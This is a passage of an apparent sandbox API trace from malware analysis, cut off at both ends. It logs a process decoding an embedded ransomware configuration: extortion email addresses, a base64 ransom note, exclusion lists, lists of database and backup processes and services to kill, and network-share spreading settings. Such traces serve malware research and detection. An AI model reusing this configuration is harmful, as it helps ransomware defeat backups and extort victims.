[4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0xff0efa, Ebp=0x0, Eip=0x834d0, SegCs=0x23, EFlags=0x202, Esp=0xefb10, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0031.264] ContinueDebugEvent (dwProcessId=0x944, dwThreadId=0x948, dwContinueStatus=0x80010001) returned 1 [0031.264] DebugActiveProcessStop (dwProcessId=0x944) returned 1 [0031.292] RtlFreeHeap (HeapHandle=0x8d0000, Flags=0x0, BaseAddress=0x8f4478) returned 1 [0031.292] ExitProcess (uExitCode=0x1) Process: id = "2" image_name = "explorer.exe" filename = "c:\\windows\\syswow64\\explorer.exe" page_root = "0x5033e000" os_pid = "0x944" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x938" cmd_line = "\"C:\\Windows\\system32\\explorer.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 2 os_tid = 0x948 [0031.621] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x254) returned 0x40efe8 [0031.885] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6) returned 0x40bf50 [0031.885] RtlInitAnsiString (in: DestinationString=0xefa44, SourceString="NTDLL" | out: DestinationString="NTDLL") [0031.885] RtlAnsiStringToUnicodeString (in: DestinationString=0xefa4c, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0031.885] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc) returned 0x403608 [0031.885] RtlFreeAnsiString (AnsiString="N") [0031.885] RtlInitUnicodeString (in: DestinationString=0xefa50, SourceString="NTDLL" | out: DestinationString="NTDLL") [0031.886] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0xefa5c | out: BaseAddress=0xefa5c*=0x77130000) returned 0x0 [0031.886] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x403608) returned 1 [0031.886] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40bf50) returned 1 [0031.887] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6) returned 0x40bf50 [0031.887] RtlInitAnsiString (in: DestinationString=0xefa44, SourceString="NTDLL" | out: DestinationString="NTDLL") [0031.887] RtlAnsiStringToUnicodeString (in: DestinationString=0xefa4c, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0031.887] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc) returned 0x4035f0 [0031.887] RtlFreeAnsiString (AnsiString="N") [0031.887] RtlInitUnicodeString (in: DestinationString=0xefa50, SourceString="NTDLL" | out: DestinationString="NTDLL") [0031.887] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0xefa5c | out: BaseAddress=0xefa5c*=0x77130000) returned 0x0 [0031.887] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4035f0) returned 1 [0031.887] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40bf50) returned 1 [0031.888] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6) returned 0x40bf50 [0031.888] RtlInitAnsiString (in: DestinationString=0xefa44, SourceString="NTDLL" | out: DestinationString="NTDLL") [0031.888] RtlAnsiStringToUnicodeString (in: DestinationString=0xefa4c, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0031.888] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc) returned 0x403608 [0031.888] RtlFreeAnsiString (AnsiString="N") [0031.888] RtlInitUnicodeString (in: DestinationString=0xefa50, SourceString="NTDLL" | out: DestinationString="NTDLL") [0031.888] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0xefa5c | out: BaseAddress=0xefa5c*=0x77130000) returned 0x0 [0031.888] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x403608) returned 1 [0031.889] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40bf50) returned 1 [0031.899] RtlInitUnicodeString (in: DestinationString=0xefabc, SourceString="mpr.dll" | out: DestinationString="mpr.dll") [0031.899] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="mpr.dll", BaseAddress=0xefac8 | out: BaseAddress=0xefac8*=0x74b00000) returned 0x0 [0031.902] RtlInitUnicodeString (in: DestinationString=0xefabc, SourceString="netapi32.dll" | out: DestinationString="netapi32.dll") [0031.902] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="netapi32.dll", BaseAddress=0xefac8 | out: BaseAddress=0xefac8*=0x74770000) returned 0x0 [0031.910] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7) returned 0x40bf50 [0031.910] RtlInitAnsiString (in: DestinationString=0xefa44, SourceString="SRVCLI" | out: DestinationString="SRVCLI") [0031.910] RtlAnsiStringToUnicodeString (in: DestinationString=0xefa4c, SourceString="SRVCLI", AllocateDestinationString=1 | out: DestinationString="SRVCLI") returned 0x0 [0031.910] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe) returned 0x4037e8 [0031.910] RtlFreeAnsiString (AnsiString="S") [0031.910] RtlInitUnicodeString (in: DestinationString=0xefa50, SourceString="SRVCLI" | out: DestinationString="SRVCLI") [0031.910] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="SRVCLI", BaseAddress=0xefa5c | out: BaseAddress=0xefa5c*=0x74750000) returned 0x0 [0031.910] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4037e8) returned 1 [0031.910] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40bf50) returned 1 [0031.911] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9) returned 0x4037e8 [0031.911] RtlInitAnsiString (in: DestinationString=0xefa44, SourceString="NETUTILS" | out: DestinationString="NETUTILS") [0031.911] RtlAnsiStringToUnicodeString (in: DestinationString=0xefa4c, SourceString="NETUTILS", AllocateDestinationString=1 | out: DestinationString="NETUTILS") returned 0x0 [0031.911] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x12) returned 0x40e5e0 [0031.911] RtlFreeAnsiString (AnsiString="N") [0031.911] RtlInitUnicodeString (in: DestinationString=0xefa50, SourceString="NETUTILS" | out: DestinationString="NETUTILS") [0031.911] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NETUTILS", BaseAddress=0xefa5c | out: BaseAddress=0xefa5c*=0x74af0000) returned 0x0 [0031.911] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40e5e0) returned 1 [0031.911] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4037e8) returned 1 [0031.911] RtlInitUnicodeString (in: DestinationString=0xefabc, SourceString="psapi.dll" | out: DestinationString="psapi.dll") [0031.911] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="psapi.dll", BaseAddress=0xefac8 | out: BaseAddress=0xefac8*=0x75140000) returned 0x0 [0031.915] FindResourceA (hModule=0x70000, lpName=0x7a69, lpType=0x539) returned 0x88048 [0031.915] LoadResource (hModule=0x70000, hResInfo=0x88048) returned 0x88058 [0031.915] LockResource (hResData=0x88058) returned 0x88058 [0031.915] SizeofResource (hModule=0x70000, hResInfo=0x88048) returned 0x1492 [0031.915] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1492) returned 0x40fd10 [0031.915] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5) returned 0x40bf50 [0031.919] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x100) returned 0x40fa48 [0031.919] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x100) returned 0x40fb50 [0031.919] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40fb50) returned 1 [0031.919] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40fa48) returned 1 [0031.920] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e5e0 [0031.920] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4) returned 0x40bf60 [0031.920] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e5c0 [0031.920] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4) returned 0x40bf70 [0031.920] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e600 [0031.920] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bf70, Size=0x8) returned 0x40bf80 [0031.920] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e620 [0031.920] strtol (in: _Str="0,\"thr\":1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0xef9d4, _Radix=0 | out: _EndPtr=0xef9d4*=",\"thr\":1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB